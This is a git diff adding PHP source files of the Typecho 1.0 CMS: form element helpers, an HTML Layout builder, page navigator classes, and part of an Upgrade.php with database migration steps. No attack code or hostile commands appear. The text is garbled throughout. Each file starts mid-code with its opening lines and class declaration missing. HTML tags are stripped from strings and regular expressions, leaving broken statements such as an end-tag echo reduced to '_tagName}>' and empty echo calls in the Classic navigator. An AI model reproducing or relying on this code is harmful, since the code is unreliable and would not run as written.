{ + $this->_options[$value] = new Typecho_Widget_Helper_Layout('input'); + $item = $this->multiline(); + $id = $this->name . '-' . $this->filterValue($value); + $this->inputs[] = $this->_options[$value]; + + $item->addItem($this->_options[$value]->setAttribute('name', $this->name . '[]') + ->setAttribute('type', 'checkbox') + ->setAttribute('value', $value) + ->setAttribute('id', $id)); + + $labelItem = new Typecho_Widget_Helper_Layout('label'); + $item->addItem($labelItem->setAttribute('for', $id)->html($label)); + $this->container($item); + } + + return current($this->_options); + } + + /** + * 设置表单元素值 + * + * @access protected + * @param mixed $value 表单元素值 + * @return void + */ + protected function _value($value) + { + $values = is_array($value) ? $value : array($value); + + foreach ($this->_options as $option) { + $option->removeAttribute('checked'); + } + + foreach ($values as $value) { + if (isset($this->_options[$value])) { + $this->_options[$value]->setAttribute('checked', 'true'); + } + } + } +} diff --git a/Typecho/1.0/php-fpm/src/var/Typecho/Widget/Helper/Form/Element/Fake.php b/Typecho/1.0/php-fpm/src/var/Typecho/Widget/Helper/Form/Element/Fake.php new file mode 100755 index 000000000..248d93569 --- /dev/null +++ b/Typecho/1.0/php-fpm/src/var/Typecho/Widget/Helper/Form/Element/Fake.php @@ -0,0 +1,84 @@ +name = $name; + self::$uniqueId ++; + + /** 运行自定义初始函数 */ + $this->init(); + + /** 初始化表单项 */ + $this->input = $this->input($name, $options); + + /** 初始化表单值 */ + if (NULL !== $value) { + $this->value($value); + } + } + + /** + * 自定义初始函数 + * + * @access public + * @return void + */ + public function init() + {} + + /** + * 初始化当前输入项 + * + * @access public + * @param string $name 表单元素名称 + * @param array $options 选择项 + * @return Typecho_Widget_Helper_Layout + */ + public function input($name = NULL, array $options = NULL) + { + $input = new Typecho_Widget_Helper_Layout('input'); + $this->inputs[] = $input; + return $input; + } + + /** + * 设置表单项默认值 + * + * @access protected + * @param string $value 表单项默认值 + * @return void + */ + protected function _value($value) + { + $this->input->setAttribute('value', $value); + } +} + diff --git a/Typecho/1.0/php-fpm/src/var/Typecho/Widget/Helper/Form/Element/Hidden.php b/Typecho/1.0/php-fpm/src/var/Typecho/Widget/Helper/Form/Element/Hidden.php new file mode 100755 index 000000000..c3c921497 --- /dev/null +++ b/Typecho/1.0/php-fpm/src/var/Typecho/Widget/Helper/Form/Element/Hidden.php @@ -0,0 +1,62 @@ +setAttribute('style', 'display:none'); + } + + /** + * 初始化当前输入项 + * + * @access public + * @param string $name 表单元素名称 + * @param array $options 选择项 + * @return Typecho_Widget_Helper_Layout + */ + public function input($name = NULL, array $options = NULL) + { + $input = new Typecho_Widget_Helper_Layout('input', array('name' => $name, 'type' => 'hidden')); + $this->container($input); + $this->inputs[] = $input; + return $input; + } + + /** + * 设置表单项默认值 + * + * @access protected + * @param string $value 表单项默认值 + * @return void + */ + protected function _value($value) + { + $this->input->setAttribute('value', htmlspecialchars($value)); + } +} diff --git a/Typecho/1.0/php-fpm/src/var/Typecho/Widget/Helper/Form/Element/Password.php b/Typecho/1.0/php-fpm/src/var/Typecho/Widget/Helper/Form/Element/Password.php new file mode 100755 index 000000000..347a540e6 --- /dev/null +++ b/Typecho/1.0/php-fpm/src/var/Typecho/Widget/Helper/Form/Element/Password.php @@ -0,0 +1,52 @@ + $name . '-0-' . self::$uniqueId, + 'name' => $name, 'type' => 'password', 'class' => 'password')); + $this->label->setAttribute('for', $name . '-0-' . self::$uniqueId); + $this->container($input); + $this->inputs[] = $input; + return $input; + } + + /** + * 设置表单项默认值 + * + * @access protected + * @param string $value 表单项默认值 + * @return void + */ + protected function _value($value) + { + $this->input->setAttribute('value', htmlspecialchars($value)); + } +} diff --git a/Typecho/1.0/php-fpm/src/var/Typecho/Widget/Helper/Form/Element/Radio.php b/Typecho/1.0/php-fpm/src/var/Typecho/Widget/Helper/Form/Element/Radio.php new file mode 100755 index 000000000..c487b79ff --- /dev/null +++ b/Typecho/1.0/php-fpm/src/var/Typecho/Widget/Helper/Form/Element/Radio.php @@ -0,0 +1,79 @@ + $label) { + $this->_options[$value] = new Typecho_Widget_Helper_Layout('input'); + $item = $this->multiline(); + $id = $this->name . '-' . $this->filterValue($value); + $this->inputs[] = $this->_options[$value]; + + $item->addItem($this->_options[$value]->setAttribute('name', $this->name) + ->setAttribute('type', 'radio') + ->setAttribute('value', $value) + ->setAttribute('id', $id)); + + $labelItem = new Typecho_Widget_Helper_Layout('label'); + $item->addItem($labelItem->setAttribute('for', $id)->html($label)); + $this->container($item); + } + + return current($this->_options); + } + + /** + * 设置表单元素值 + * + * @access protected + * @param mixed $value 表单元素值 + * @return void + */ + protected function _value($value) + { + foreach ($this->_options as $option) { + $option->removeAttribute('checked'); + } + + if (isset($this->_options[$value])) { + $this->value = $value; + $this->_options[$value]->setAttribute('checked', 'true'); + $this->input = $this->_options[$value]; + } + } +} diff --git a/Typecho/1.0/php-fpm/src/var/Typecho/Widget/Helper/Form/Element/Select.php b/Typecho/1.0/php-fpm/src/var/Typecho/Widget/Helper/Form/Element/Select.php new file mode 100755 index 000000000..e589990c2 --- /dev/null +++ b/Typecho/1.0/php-fpm/src/var/Typecho/Widget/Helper/Form/Element/Select.php @@ -0,0 +1,72 @@ +container($input->setAttribute('name', $name) + ->setAttribute('id', $name . '-0-' . self::$uniqueId)); + $this->label->setAttribute('for', $name . '-0-' . self::$uniqueId); + $this->inputs[] = $input; + + foreach ($options as $value => $label) { + $this->_options[$value] = new Typecho_Widget_Helper_Layout('option'); + $input->addItem($this->_options[$value]->setAttribute('value', $value)->html($label)); + } + + return $input; + } + + /** + * 设置表单元素值 + * + * @access protected + * @param mixed $value 表单元素值 + * @return void + */ + protected function _value($value) + { + foreach ($this->_options as $option) { + $option->removeAttribute('selected'); + } + + if (isset($this->_options[$value])) { + $this->_options[$value]->setAttribute('selected', 'true'); + } + } +} diff --git a/Typecho/1.0/php-fpm/src/var/Typecho/Widget/Helper/Form/Element/Submit.php b/Typecho/1.0/php-fpm/src/var/Typecho/Widget/Helper/Form/Element/Submit.php new file mode 100755 index 000000000..1272f7cfd --- /dev/null +++ b/Typecho/1.0/php-fpm/src/var/Typecho/Widget/Helper/Form/Element/Submit.php @@ -0,0 +1,52 @@ +setAttribute('class', 'typecho-option typecho-option-submit'); + $input = new Typecho_Widget_Helper_Layout('button', array('type' => 'submit')); + $this->container($input); + $this->inputs[] = $input; + + return $input; + } + + /** + * 设置表单元素值 + * + * @access protected + * @param mixed $value 表单元素值 + * @return void + */ + protected function _value($value) + { + $this->input->html($value); + } +} diff --git a/Typecho/1.0/php-fpm/src/var/Typecho/Widget/Helper/Form/Element/Text.php b/Typecho/1.0/php-fpm/src/var/Typecho/Widget/Helper/Form/Element/Text.php new file mode 100755 index 000000000..78d1939c6 --- /dev/null +++ b/Typecho/1.0/php-fpm/src/var/Typecho/Widget/Helper/Form/Element/Text.php @@ -0,0 +1,53 @@ + $name . '-0-' . self::$uniqueId, + 'name' => $name, 'type' => 'text', 'class' => 'text')); + $this->container($input); + $this->label->setAttribute('for', $name . '-0-' . self::$uniqueId); + $this->inputs[] = $input; + + return $input; + } + + /** + * 设置表单项默认值 + * + * @access protected + * @param mixed $value 表单项默认值 + * @return void + */ + protected function _value($value) + { + $this->input->setAttribute('value', htmlspecialchars($value)); + } +} diff --git a/Typecho/1.0/php-fpm/src/var/Typecho/Widget/Helper/Form/Element/Textarea.php b/Typecho/1.0/php-fpm/src/var/Typecho/Widget/Helper/Form/Element/Textarea.php new file mode 100755 index 000000000..ec5adacda --- /dev/null +++ b/Typecho/1.0/php-fpm/src/var/Typecho/Widget/Helper/Form/Element/Textarea.php @@ -0,0 +1,52 @@ + $name . '-0-' . self::$uniqueId, 'name' => $name)); + $this->label->setAttribute('for', $name . '-0-' . self::$uniqueId); + $this->container($input->setClose(false)); + $this->inputs[] = $input; + + return $input; + } + + /** + * 设置表单项默认值 + * + * @access protected + * @param string $value 表单项默认值 + * @return void + */ + protected function _value($value) + { + $this->input->html(htmlspecialchars($value)); + } +} diff --git a/Typecho/1.0/php-fpm/src/var/Typecho/Widget/Helper/Layout.php b/Typecho/1.0/php-fpm/src/var/Typecho/Widget/Helper/Layout.php new file mode 100755 index 000000000..b90c081ef --- /dev/null +++ b/Typecho/1.0/php-fpm/src/var/Typecho/Widget/Helper/Layout.php @@ -0,0 +1,352 @@ +setTagName($tagName); + + if (!empty($attributes)) { + foreach ($attributes as $attributeName => $attributeValue) { + $this->setAttribute($attributeName, $attributeValue); + } + } + } + + /** + * 增加元素 + * + * @access public + * @param Typecho_Widget_Helper_Layout $item 元素 + * @return Typecho_Widget_Helper_Layout + */ + public function addItem(Typecho_Widget_Helper_Layout $item) + { + $item->setParent($this); + $this->_items[] = $item; + return $this; + } + + /** + * 删除元素 + * + * @access public + * @param Typecho_Widget_Helper_Layout $item 元素 + * @return Typecho_Widget_Helper_Layout + */ + public function removeItem(Typecho_Widget_Helper_Layout $item) + { + unset($this->_items[array_search($item, $this->_items)]); + return $this; + } + + /** + * getItems + * + * @access public + * @return array + */ + public function getItems() + { + return $this->_items; + } + + /** + * 设置内部数据 + * + * @access public + * @param mixed $html 内部数据 + * @return unknown + */ + public function html($html = false) + { + if (false === $html) { + if (empty($this->_html)) { + foreach ($this->_items as $item) { + $item->render(); + } + } else { + echo $this->_html; + } + } else { + $this->_html = $html; + return $this; + } + } + + /** + * 设置标签名 + * + * @access public + * @param string $tagName 标签名 + * @return void + */ + public function setTagName($tagName) + { + $this->_tagName = $tagName; + } + + /** + * getTagName + * + * @param mixed $tagName + * @access public + * @return void + */ + public function getTagName($tagName) + {} + + /** + * 设置表单属性 + * + * @access public + * @param string $attributeName 属性名称 + * @param string $attributeValue 属性值 + * @return Typecho_Widget_Helper_Layout + */ + public function setAttribute($attributeName, $attributeValue) + { + $this->_attributes[$attributeName] = $attributeValue; + return $this; + } + + /** + * 移除某个属性 + * + * @access public + * @param string $attributeName 属性名称 + * @return Typecho_Widget_Helper_Layout + */ + public function removeAttribute($attributeName) + { + if (isset($this->_attributes[$attributeName])) { + unset($this->_attributes[$attributeName]); + } + + return $this; + } + + /** + * 获取属性 + * + * @access public + * @param string $attributeName 属性名 + * @return string + */ + public function getAttribute($attributeName) + { + return isset($this->_attributes[$attributeName]) ? $this->_attributes[$attributeName] : NULL; + } + + /** + * 设置是否自闭合 + * + * @access public + * @param boolean $close 是否自闭合 + * @return Typecho_Widget_Helper_Layout + */ + public function setClose($close) + { + $this->_forceClose = $close; + return $this; + } + + /** + * 设置父节点 + * + * @access public + * @param Typecho_Widget_Helper_Layout $parent 父节点 + * @return Typecho_Widget_Helper_Layout + */ + public function setParent(Typecho_Widget_Helper_Layout $parent) + { + $this->_parent = $parent; + return $this; + } + + /** + * 获取父节点 + * + * @access public + * @return Typecho_Widget_Helper_Layout + */ + public function getParent() + { + return $this->_parent; + } + + /** + * 增加到某布局元素集合中 + * + * @access public + * @param Typecho_Widget_Helper_Layout $parent 布局对象 + * @return Typecho_Widget_Helper_Layout + */ + public function appendTo(Typecho_Widget_Helper_Layout $parent) + { + $parent->addItem($this); + return $this; + } + + /** + * 开始标签 + * + * @access public + * @return void + */ + public function start() + { + /** 输出标签 */ + echo $this->_tagName ? "<{$this->_tagName}" : NULL; + + /** 输出属性 */ + foreach ($this->_attributes as $attributeName => $attributeValue) { + echo " {$attributeName}=\"{$attributeValue}\""; + } + + /** 支持自闭合 */ + if (!$this->_close && $this->_tagName) { + echo ">\n"; + } + } + + /** + * 结束标签 + * + * @access public + * @return void + */ + public function end() + { + if ($this->_tagName) { + echo $this->_close ? " />\n" : "_tagName}>\n"; + } + } + + /** + * 设置属性 + * + * @access public + * @param string $attributeName 属性名称 + * @param string $attributeValue 属性值 + * @return void + */ + public function __set($name, $value) + { + $this->_attributes[$name] = $value; + } + + /** + * 获取属性 + * + * @access public + * @param string $attributeName 属性名称 + * @return void + */ + public function __get($name) + { + return isset($this->_attributes[$name]) ? $this->_attributes[$name] : NULL; + } + + /** + * 输出所有元素 + * + * @access public + * @return void + */ + public function render() + { + if (empty($this->_items) && empty($this->_html)) { + $this->_close = true; + } + + if (NULL !== $this->_forceClose) { + $this->_close = $this->_forceClose; + } + + $this->start(); + $this->html(); + $this->end(); + } +} diff --git a/Typecho/1.0/php-fpm/src/var/Typecho/Widget/Helper/PageNavigator.php b/Typecho/1.0/php-fpm/src/var/Typecho/Widget/Helper/PageNavigator.php new file mode 100755 index 000000000..12d5b96bf --- /dev/null +++ b/Typecho/1.0/php-fpm/src/var/Typecho/Widget/Helper/PageNavigator.php @@ -0,0 +1,131 @@ +_total = $total; + $this->_totalPage = ceil($total / $pageSize); + $this->_currentPage = $currentPage; + $this->_pageSize = $pageSize; + $this->_pageTemplate = $pageTemplate; + + if (($currentPage > $this->_totalPage || $currentPage < 1) && $total > 0) { + throw new Typecho_Widget_Exception('Page Not Exists', 404); + } + } + + /** + * 设置页面占位符 + * + * @access protected + * @param string $holder 页面占位符 + * @return void + */ + public function setPageHolder($holder) + { + $this->_pageHolder = array('{' . $holder . '}', + str_replace(array('{', '}'), array('%7B', '%7D'), $holder)); + } + + /** + * 设置锚点 + * + * @access public + * @param string $anchor 锚点 + * @return void + */ + public function setAnchor($anchor) + { + $this->_anchor = '#' . $anchor; + } + + /** + * 输出方法 + * + * @access public + * @return void + */ + public function render() + { + throw new Typecho_Widget_Exception(get_class($this) . ':' . __METHOD__, 500); + } +} diff --git a/Typecho/1.0/php-fpm/src/var/Typecho/Widget/Helper/PageNavigator/Box.php b/Typecho/1.0/php-fpm/src/var/Typecho/Widget/Helper/PageNavigator/Box.php new file mode 100755 index 000000000..57b9df47f --- /dev/null +++ b/Typecho/1.0/php-fpm/src/var/Typecho/Widget/Helper/PageNavigator/Box.php @@ -0,0 +1,120 @@ +_total < 1) { + return; + } + + $default = array( + 'itemTag' => 'li', + 'textTag' => 'span', + 'currentClass' => 'current', + 'prevClass' => 'prev', + 'nextClass' => 'next' + ); + + $template = array_merge($default, $template); + extract($template); + + // 定义item + $itemBegin = empty($itemTag) ? '' : ('<' . $itemTag . '>'); + $itemCurrentBegin = empty($itemTag) ? '' : ('<' . $itemTag + . (empty($currentClass) ? '' : ' class="' . $currentClass . '"') . '>'); + $itemPrevBegin = empty($itemTag) ? '' : ('<' . $itemTag + . (empty($prevClass) ? '' : ' class="' . $prevClass . '"') . '>'); + $itemNextBegin = empty($itemTag) ? '' : ('<' . $itemTag + . (empty($nextClass) ? '' : ' class="' . $nextClass . '"') . '>'); + $itemEnd = empty($itemTag) ? '' : (''); + $textBegin = empty($textTag) ? '' : ('<' . $textTag . '>'); + $textEnd = empty($textTag) ? '' : (''); + $linkBegin = ''; + $linkCurrentBegin = empty($itemTag) ? ('') + : $linkBegin; + $linkPrevBegin = empty($itemTag) ? ('') + : $linkBegin; + $linkNextBegin = empty($itemTag) ? ('') + : $linkBegin; + $linkEnd = ''; + + $from = max(1, $this->_currentPage - $splitPage); + $to = min($this->_totalPage, $this->_currentPage + $splitPage); + + //输出上一页 + if ($this->_currentPage > 1) { + echo $itemPrevBegin . sprintf($linkPrevBegin, + str_replace($this->_pageHolder, $this->_currentPage - 1, $this->_pageTemplate) . $this->_anchor) + . $prevWord . $linkEnd . $itemEnd; + } + + //输出第一页 + if ($from > 1) { + echo $itemBegin . sprintf($linkBegin, str_replace($this->_pageHolder, 1, $this->_pageTemplate) . $this->_anchor) + . '1' . $linkEnd . $itemEnd; + + if ($from > 2) { + //输出省略号 + echo $itemBegin . $textBegin . $splitWord . $textEnd . $itemEnd; + } + } + + //输出中间页 + for ($i = $from; $i <= $to; $i ++) { + $current = ($i == $this->_currentPage); + + echo ($current ? $itemCurrentBegin : $itemBegin) . sprintf(($current ? $linkCurrentBegin : $linkBegin), + str_replace($this->_pageHolder, $i, $this->_pageTemplate) . $this->_anchor) + . $i . $linkEnd . $itemEnd; + } + + //输出最后页 + if ($to < $this->_totalPage) { + if ($to < $this->_totalPage - 1) { + echo $itemBegin . $textBegin . $splitWord . $textEnd . $itemEnd; + } + + echo $itemBegin . sprintf($linkBegin, str_replace($this->_pageHolder, $this->_totalPage, $this->_pageTemplate) . $this->_anchor) + . $this->_totalPage . $linkEnd . $itemEnd; + } + + //输出下一页 + if ($this->_currentPage < $this->_totalPage) { + echo $itemNextBegin . sprintf($linkNextBegin, + str_replace($this->_pageHolder, $this->_currentPage + 1, $this->_pageTemplate) . $this->_anchor) + . $nextWord . $linkEnd . $itemEnd; + } + } +} diff --git a/Typecho/1.0/php-fpm/src/var/Typecho/Widget/Helper/PageNavigator/Classic.php b/Typecho/1.0/php-fpm/src/var/Typecho/Widget/Helper/PageNavigator/Classic.php new file mode 100755 index 000000000..d90bba096 --- /dev/null +++ b/Typecho/1.0/php-fpm/src/var/Typecho/Widget/Helper/PageNavigator/Classic.php @@ -0,0 +1,67 @@ +prev($prevWord); + $this->next($nextWord); + } + + /** + * 输出上一页 + * + * @access public + * @param string $prevWord 上一页文字 + * @return void + */ + public function prev($prevWord = 'PREV') + { + //输出上一页 + if ($this->_total > 0 && $this->_currentPage > 1) { + echo ''; + } + } + + /** + * 输出下一页 + * + * @access public + * @param string $prevWord 下一页文字 + * @return void + */ + public function next($nextWord = 'NEXT') + { + //输出下一页 + if ($this->_total > 0 && $this->_currentPage < $this->_totalPage) { + echo ''; + } + } +} diff --git a/Typecho/1.0/php-fpm/src/var/Upgrade.php b/Typecho/1.0/php-fpm/src/var/Upgrade.php new file mode 100755 index 000000000..79614bb0d --- /dev/null +++ b/Typecho/1.0/php-fpm/src/var/Upgrade.php @@ -0,0 +1,1207 @@ +query($db->select('coid', 'text')->from('table.comments') + ->order('coid', Typecho_Db::SORT_ASC)->page($i, 100)); + $j = 0; + + while ($row = $db->fetchRow($result)) { + $text = nl2br($row['text']); + + $db->query($db->update('table.comments') + ->rows(array('text' => $text)) + ->where('coid = ?', $row['coid'])); + + $j ++; + unset($text); + unset($row); + } + + if ($j < 100) { + break; + } + + $i ++; + unset($result); + } + + /** 转换内容 */ + $i = 1; + + while (true) { + $result = $db->query($db->select('cid', 'text')->from('table.contents') + ->order('cid', Typecho_Db::SORT_ASC)->page($i, 100)); + $j = 0; + + while ($row = $db->fetchRow($result)) { + $text = preg_replace( + array("/\s*

    /is", "/\s*<\/p>\s*/is", "/\s*\s*/is", + "/\s*<(div|blockquote|pre|table|ol|ul)>/is", "/<\/(div|blockquote|pre|table|ol|ul)>\s*/is"), + array('', "\n\n", "\n", "\n\n<\\1>", "\n\n"), + $row['text']); + + $db->query($db->update('table.contents') + ->rows(array('text' => $text)) + ->where('cid = ?', $row['cid'])); + + $j ++; + unset($text); + unset($row); + } + + if ($j < 100) { + break; + } + + $i ++; + unset($result); + } + } + + /** + * 升级至9.1.14 + * + * @access public + * @param Typecho_Db $db 数据库对象 + * @param Typecho_Widget $options 全局信息组件 + * @return void + */ + public static function v0_4r9_1_14($db, $options) + { + if (is_writeable(__TYPECHO_ROOT_DIR__ . '/config.inc.php')) { + $handle = fopen(__TYPECHO_ROOT_DIR__ . '/config.inc.php', 'ab'); + fwrite($handle, ' +/** 初始化时区 */ +Typecho_Date::setTimezoneOffset($options->timezone); +'); + fclose($handle); + } else { + throw new Typecho_Exception(_t('config.inc.php 文件无法写入, 请将它的权限设置为可写')); + } + } + + /** + * 升级至9.2.3 + * + * @access public + * @param Typecho_Db $db 数据库对象 + * @param Typecho_Widget $options 全局信息组件 + * @return void + */ + public static function v0_5r9_2_3($db, $options) + { + /** 转换评论 */ + $i = 1; + + while (true) { + $result = $db->query($db->select('coid', 'text')->from('table.comments') + ->order('coid', Typecho_Db::SORT_ASC)->page($i, 100)); + $j = 0; + + while ($row = $db->fetchRow($result)) { + $text = preg_replace("/\s*\s*/i", "\n", $row['text']); + + $db->query($db->update('table.comments') + ->rows(array('text' => $text)) + ->where('coid = ?', $row['coid'])); + + $j ++; + unset($text); + unset($row); + } + + if ($j < 100) { + break; + } + + $i ++; + unset($result); + } + } + + /** + * 升级至9.2.18 + * + * @access public + * @param Typecho_Db $db 数据库对象 + * @param Typecho_Widget $options 全局信息组件 + * @return void + */ + public static function v0_5r9_2_18($db, $options) + { + /** 升级编辑器接口 */ + $db->query($db->update('table.options') + ->rows(array('value' => 350)) + ->where('name = ?', 'editorSize')); + } + + /** + * 升级至9.2.25 + * + * @access public + * @param Typecho_Db $db 数据库对象 + * @param Typecho_Widget $options 全局信息组件 + * @return void + */ + public static function v0_5r9_2_25($db, $options) + { + /** 升级编辑器接口 */ + $db->query($db->insert('table.options') + ->rows(array('name' => 'useRichEditor', 'user' => 0, 'value' => 1))); + } + + /** + * 升级至9.4.3 + * + * @access public + * @param Typecho_Db $db 数据库对象 + * @param Typecho_Widget $options 全局信息组件 + * @return void + */ + public static function v0_6r9_4_3($db, $options) + { + /** 修改数据库字段 */ + $adapterName = $db->getAdapterName(); + $prefix = $db->getPrefix(); + + //删除老数据 + try { + switch (true) { + case false !== strpos($adapterName, 'Mysql'): + $db->query('ALTER TABLE `' . $prefix . 'users` DROP `meta`', Typecho_Db::WRITE); + break; + + case false !== strpos($adapterName, 'Pgsql'): + $db->query('ALTER TABLE "' . $prefix . 'users" DROP COLUMN "meta"', Typecho_Db::WRITE); + break; + + case false !== strpos($adapterName, 'SQLite'): + $uuid = uniqid(); + $db->query('CREATE TABLE ' . $prefix . 'users_' . $uuid . ' ( "uid" INTEGER NOT NULL PRIMARY KEY, + "name" varchar(32) default NULL , + "password" varchar(64) default NULL , + "mail" varchar(200) default NULL , + "url" varchar(200) default NULL , + "screenName" varchar(32) default NULL , + "created" int(10) default \'0\' , + "activated" int(10) default \'0\' , + "logged" int(10) default \'0\' , + "group" varchar(16) default \'visitor\' , + "authCode" varchar(64) default NULL)', Typecho_Db::WRITE); + $db->query('INSERT INTO ' . $prefix . 'users_' . $uuid . ' ("uid", "name", "password", "mail", "url" + , "screenName", "created", "activated", "logged", "group", "authCode") SELECT "uid", "name", "password", "mail", "url" + , "screenName", "created", "activated", "logged", "group", "authCode" FROM ' . $prefix . 'users', Typecho_Db::WRITE); + $db->query('DROP TABLE ' . $prefix . 'users', Typecho_Db::WRITE); + $db->query('CREATE TABLE ' . $prefix . 'users ( "uid" INTEGER NOT NULL PRIMARY KEY, + "name" varchar(32) default NULL , + "password" varchar(64) default NULL , + "mail" varchar(200) default NULL , + "url" varchar(200) default NULL , + "screenName" varchar(32) default NULL , + "created" int(10) default \'0\' , + "activated" int(10) default \'0\' , + "logged" int(10) default \'0\' , + "group" varchar(16) default \'visitor\' , + "authCode" varchar(64) default NULL)', Typecho_Db::WRITE); + $db->query('INSERT INTO ' . $prefix . 'users SELECT * FROM ' . $prefix . 'users_' . $uuid, Typecho_Db::WRITE); + $db->query('DROP TABLE ' . $prefix . 'users_' . $uuid, Typecho_Db::WRITE); + $db->query('CREATE UNIQUE INDEX ' . $prefix . 'users_name ON ' . $prefix . 'users ("name")', Typecho_Db::WRITE); + $db->query('CREATE UNIQUE INDEX ' . $prefix . 'users_mail ON ' . $prefix . 'users ("mail")', Typecho_Db::WRITE); + + break; + + default: + break; + } + } catch (Typecho_Db_Exception $e) { + //do nothing + } + + //将slug字段长度增加到200 + try { + switch (true) { + case false !== strpos($adapterName, 'Mysql'): + $db->query("ALTER TABLE `" . $prefix . "contents` MODIFY COLUMN `slug` varchar(200)", Typecho_Db::WRITE); + $db->query("ALTER TABLE `" . $prefix . "metas` MODIFY COLUMN `slug` varchar(200)", Typecho_Db::WRITE); + break; + + case false !== strpos($adapterName, 'Pgsql'): + $db->query('ALTER TABLE "' . $prefix . 'contents" ALTER COLUMN "slug" TYPE varchar(200)', Typecho_Db::WRITE); + $db->query('ALTER TABLE "' . $prefix . 'metas" ALTER COLUMN "slug" TYPE varchar(200)', Typecho_Db::WRITE); + break; + + case false !== strpos($adapterName, 'SQLite'): + $uuid = uniqid(); + $db->query('CREATE TABLE ' . $prefix . 'contents' . $uuid . ' ( "cid" INTEGER NOT NULL PRIMARY KEY, + "title" varchar(200) default NULL , + "slug" varchar(200) default NULL , + "created" int(10) default \'0\' , + "modified" int(10) default \'0\' , + "text" text , + "order" int(10) default \'0\' , + "authorId" int(10) default \'0\' , + "template" varchar(32) default NULL , + "type" varchar(16) default \'post\' , + "status" varchar(16) default \'publish\' , + "password" varchar(32) default NULL , + "commentsNum" int(10) default \'0\' , + "allowComment" char(1) default \'0\' , + "allowPing" char(1) default \'0\' , + "allowFeed" char(1) default \'0\' )', Typecho_Db::WRITE); + $db->query('INSERT INTO ' . $prefix . 'contents' . $uuid . ' SELECT * FROM ' . $prefix . 'contents', Typecho_Db::WRITE); + $db->query('DROP TABLE ' . $prefix . 'contents', Typecho_Db::WRITE); + $db->query('CREATE TABLE ' . $prefix . 'contents ( "cid" INTEGER NOT NULL PRIMARY KEY, + "title" varchar(200) default NULL , + "slug" varchar(200) default NULL , + "created" int(10) default \'0\' , + "modified" int(10) default \'0\' , + "text" text , + "order" int(10) default \'0\' , + "authorId" int(10) default \'0\' , + "template" varchar(32) default NULL , + "type" varchar(16) default \'post\' , + "status" varchar(16) default \'publish\' , + "password" varchar(32) default NULL , + "commentsNum" int(10) default \'0\' , + "allowComment" char(1) default \'0\' , + "allowPing" char(1) default \'0\' , + "allowFeed" char(1) default \'0\' )', Typecho_Db::WRITE); + $db->query('INSERT INTO ' . $prefix . 'contents SELECT * FROM ' . $prefix . 'contents' . $uuid, Typecho_Db::WRITE); + $db->query('DROP TABLE ' . $prefix . 'contents' . $uuid, Typecho_Db::WRITE); + $db->query('CREATE UNIQUE INDEX ' . $prefix . 'contents_slug ON ' . $prefix . 'contents ("slug")', Typecho_Db::WRITE); + $db->query('CREATE INDEX ' . $prefix . 'contents_created ON ' . $prefix . 'contents ("created")', Typecho_Db::WRITE); + + $db->query('CREATE TABLE ' . $prefix . 'metas' . $uuid . ' ( "mid" INTEGER NOT NULL PRIMARY KEY, + "name" varchar(200) default NULL , + "slug" varchar(200) default NULL , + "type" varchar(32) NOT NULL , + "description" varchar(200) default NULL , + "count" int(10) default \'0\' , + "order" int(10) default \'0\' )', Typecho_Db::WRITE); + $db->query('INSERT INTO ' . $prefix . 'metas' . $uuid . ' SELECT * FROM ' . $prefix . 'metas', Typecho_Db::WRITE); + $db->query('DROP TABLE ' . $prefix . 'metas', Typecho_Db::WRITE); + $db->query('CREATE TABLE ' . $prefix . 'metas ( "mid" INTEGER NOT NULL PRIMARY KEY, + "name" varchar(200) default NULL , + "slug" varchar(200) default NULL , + "type" varchar(32) NOT NULL , + "description" varchar(200) default NULL , + "count" int(10) default \'0\' , + "order" int(10) default \'0\' )', Typecho_Db::WRITE); + $db->query('INSERT INTO ' . $prefix . 'metas SELECT * FROM ' . $prefix . 'metas' . $uuid, Typecho_Db::WRITE); + $db->query('DROP TABLE ' . $prefix . 'metas' . $uuid, Typecho_Db::WRITE); + $db->query('CREATE INDEX ' . $prefix . 'metas_slug ON ' . $prefix . 'metas ("slug")', Typecho_Db::WRITE); + + break; + + default: + break; + } + } catch (Typecho_Db_Exception $e) { + //do nothing + } + } + + /** + * 升级至9.4.21 + * + * @access public + * @param Typecho_Db $db 数据库对象 + * @param Typecho_Widget $options 全局信息组件 + * @return void + */ + public static function v0_6r9_4_21($db, $options) + { + //创建上传目录 + $uploadDir = Typecho_Common::url(Widget_Upload::UPLOAD_PATH, __TYPECHO_ROOT_DIR__); + if (is_dir($uploadDir)) { + if (!is_writeable($uploadDir)) { + if (!@chmod($uploadDir, 0644)) { + throw new Typecho_Widget_Exception(_t('上传目录无法写入, 请手动将安装目录下的 %s 目录的权限设置为可写然后继续升级', Widget_Upload::UPLOAD_PATH)); + } + } + } else { + if (!@mkdir($uploadDir, 0644)) { + throw new Typecho_Widget_Exception(_t('上传目录无法创建, 请手动创建安装目录下的 %s 目录, 并将它的权限设置为可写然后继续升级', Widget_Upload::UPLOAD_PATH)); + } + } + + /** 增加自定义主页 */ + $db->query($db->insert('table.options') + ->rows(array('name' => 'customHomePage', 'user' => 0, 'value' => 0))); + + /** 增加文件上传散列函数 */ + $db->query($db->insert('table.options') + ->rows(array('name' => 'uploadHandle', 'user' => 0, 'value' => 'a:2:{i:0;s:13:"Widget_Upload";i:1;s:12:"uploadHandle";}'))); + + /** 增加文件删除函数 */ + $db->query($db->insert('table.options') + ->rows(array('name' => 'deleteHandle', 'user' => 0, 'value' => 'a:2:{i:0;s:13:"Widget_Upload";i:1;s:12:"deleteHandle";}'))); + + /** 增加文件展现散列函数 */ + $db->query($db->insert('table.options') + ->rows(array('name' => 'attachmentHandle', 'user' => 0, 'value' => 'a:2:{i:0;s:13:"Widget_Upload";i:1;s:16:"attachmentHandle";}'))); + + /** 增加文件扩展名 */ + $db->query($db->insert('table.options') + ->rows(array('name' => 'attachmentTypes', 'user' => 0, 'value' => '*.jpg;*.gif;*.png;*.zip;*.tar.gz'))); + + /** 增加路由 */ + $routingTable = $options->routingTable; + if (isset($routingTable[0])) { + unset($routingTable[0]); + } + + $pre = array_slice($routingTable, 0, 2); + $next = array_slice($routingTable, 2); + + $routingTable = array_merge($pre, array('attachment' => + array ( + 'url' => '/attachment/[cid:digital]/', + 'widget' => 'Widget_Archive', + 'action' => 'render', + )), $next); + + $db->query($db->update('table.options') + ->rows(array('value' => serialize($routingTable))) + ->where('name = ?', 'routingTable')); + } + + /** + * 升级至9.6.1 + * + * @access public + * @param Typecho_Db $db 数据库对象 + * @param Typecho_Widget $options 全局信息组件 + * @return void + */ + public static function v0_6r9_6_1($db, $options) + { + /** 去掉所见即所得编辑器 */ + $db->query($db->delete('table.options') + ->where('name = ?', 'useRichEditor')); + + /** 修正自动保存值 */ + $db->query($db->update('table.options') + ->rows(array('value' => 0)) + ->where('name = ?', 'autoSave')); + + /** 增加堆楼楼层数目限制 